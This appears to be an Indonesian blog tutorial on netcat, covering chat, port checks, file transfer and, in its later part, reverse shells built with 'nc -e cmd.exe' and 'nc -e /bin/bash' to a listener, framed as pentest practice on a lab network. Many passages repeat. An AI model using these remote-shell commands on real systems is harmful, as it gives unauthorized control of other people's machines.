Netcat atau biasa disebut nc dirilis pada tahun 1995 oleh Hobbit, merupakan sebuah tools jaringan komputer yang digunakan untuk membaca dan menulis jaringan melalui koneksi protokol TCP atau UDP.
Biasanya di linux nc sudah terinstall, kalau belum kalian install dulu. Kalau di windows, kalian bisa download dari sini https://eternallybored.org/misc/netcat/
Dasarnya, netcat ini digunakan untuk melakukan chat atau komunikasi seseorang yang sedang meremote perangkat A dengan seseorang lainnya yang sedang meremote perangkat B. Misalnya ada dua server yang terhubung ke jaringan dan sedang diremote oleh 2 orang berbeda.
Salah satu server bertindak netcat server dan satunya bertinda sebagai client. Setelah koneksi netcat tersebut establish, maka bisa saling komunikasi gitu deh.
Salah satu server bertindak netcat server dan satunya bertinda sebagai client. Setelah koneksi netcat tersebut establish, maka bisa saling komunikasi gitu deh.
Disini saya akan mempraktekannya dengan 2 PC, satu linux dan satu Windows. Yang bertindak sebagai server adalah linux.
IP Windows : 10.20.20.2
IP Linux : 10.20.20.204

IP Linux : 10.20.20.204
Pada linux atau nc server :
$ nc -nlvp 1231
Pada windows atau nc client:
$ nc -nv 10.20.20.204 1231
Kemudian nanti pada server akan muncul line :
connect to [10.20.20.204] from (UNKNOWN) [10.20.20.2] 2942
Kalau sudah muncul seperti itu, tandanya sudah saling terkoneksi nc server dan client.
Kalian tinggal ketik saja untuk melakukan chatting.
Netcat juga memiliki fungsi yang lainnya untuk melakukan pentest. Netcat adalah salah satu "original" tools network pentest yang
serbaguna, makanya si author nya ini kasih nama swiss army knife
Netcat ini juga bisa dipakai buat ngecek apakah suatu port dalam jaringan terbuka atau tidak. Ini digunakan untuk mengetes apakah service pada jaringan berjalan atau tidak, seperti test service http,pop3, dll.
Kalian tinggal ketik saja untuk melakukan chatting.
Netcat juga memiliki fungsi yang lainnya untuk melakukan pentest. Netcat adalah salah satu "original" tools network pentest yang
serbaguna, makanya si author nya ini kasih nama swiss army knife
Netcat ini juga bisa dipakai buat ngecek apakah suatu port dalam jaringan terbuka atau tidak. Ini digunakan untuk mengetes apakah service pada jaringan berjalan atau tidak, seperti test service http,pop3, dll.
Misalnya saya disini mengetes koneksi telnet server pada switch di ip 172.26.122.2
$ nc 172.26.122.2 23
misalnya disini, saya akan melakukan transfer file dari linux ke windows dan sebaliknya.
Intinya, kita harus melakukan koneksi nc server dan client seperti diawal, tetapi ditambahkan tanda "< namafile" untuk mengirim file dan " > namfile" untuk menerima file.
Server dan client bisa mengirim atau menerima. pointnya ada di tanda > atau < pada eksekusi commandnya.
Contoh pengiriman file dari nc client linux ke nc server windows :
Contoh pengiriman file dari nc client linux ke nc server windows :
di Windows :
nc -nlvp 1232 > terima.txt
di Linux :
$ echo "File ini dikirim dari linux" > file.linux.txt
$ nc 10.20.20.2 1232 < file.linux.txt
tekan [ctrl + c ] manual jika kira kira sudh diterima
$ nc 10.20.20.2 1232 < file.linux.txt
tekan [ctrl + c ] manual jika kira kira sudh diterima
verifikasi di Windows:
more terima.txt
File ini dikirim dari linux
File ini dikirim dari linux
Salah satu fitur keren dari netcat ini, kita bisa remote shell antara mesin. Poin inilah yang biasa dipakai ketika melakukan pentest.
Biasanya pentester menggunakan nc server di hostnya mereka untuk mendapatkan shell dari backdoor yang telah ditanam di targetnya.
Biasanya pentester menggunakan nc server di hostnya mereka untuk mendapatkan shell dari backdoor yang telah ditanam di targetnya.
Pada server jalankan nc listener seperti biasa :
$ nc -nlvp 4444
Pada target Windows jalankan nc :
nc -nv 10.20.20.204 4444 -e cmd.exe
maka di nc listener akan menjadi seperti ini :
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.20.20.204] from (UNKNOWN) [10.20.20.2] 25770
Microsoft Windows [Version 10.0.18363.720]
(c) 2019 Microsoft Corporation. All rights reserved.
D:\Chrome Download\netcat-win32-1.12>
Kita bisa menjalankan command windows pada nc server ini.
D:\Chrome Download\netcat-win32-1.12>whoami
whoami
acengcorp\fitrah.sofyan
D:\Chrome Download\netcat-win32-1.12>
whoami
acengcorp\fitrah.sofyan
D:\Chrome Download\netcat-win32-1.12>
Dengan begini, kita telah mendapatkan shell dari windows.
Lalu bagaimana kalau untuk linux? Caranya sama saja, jika di windows atribut -e dengan value cmd.exe maka pada nc client linux, atribut -e diikuti dengan /bin/bash atau shell dari si linux itu sendiri.
Lalu bagaimana kalau untuk linux? Caranya sama saja, jika di windows atribut -e dengan value cmd.exe maka pada nc client linux, atribut -e diikuti dengan /bin/bash atau shell dari si linux itu sendiri.
Pada nc client linux :
$ nc 10.20.20.204 4444 -e /bin/bash
balik lagi ke nc server dan lakukan command linux seperti biasa.
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33082
whoami
kali
pwd
/home/kali
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33082
whoami
kali
pwd
/home/kali
Dengan kata lain, kita telah bisa meremote target mesin dari Linux dan Windows dengan Netcat ini.
Penjelasan Command Netcat diatas :
Penggunaan :
Penggunaan :
nc [-options] hostname port[s] [ports]
Options :
-l : mode listener atau server
-n : hanya menggunakan IP address, tidak memperbolehkan menggunakan DNS ketika konek
-v : verbose
-p [port] : port yang digunakan (harus sama antara client dan server)
-e [filename] : akan menjalankan [filename] setelah koneksi establish
-l : mode listener atau server
-n : hanya menggunakan IP address, tidak memperbolehkan menggunakan DNS ketika konek
-v : verbose
-p [port] : port yang digunakan (harus sama antara client dan server)
-e [filename] : akan menjalankan [filename] setelah koneksi establish
loading...
Comments
Post a Comment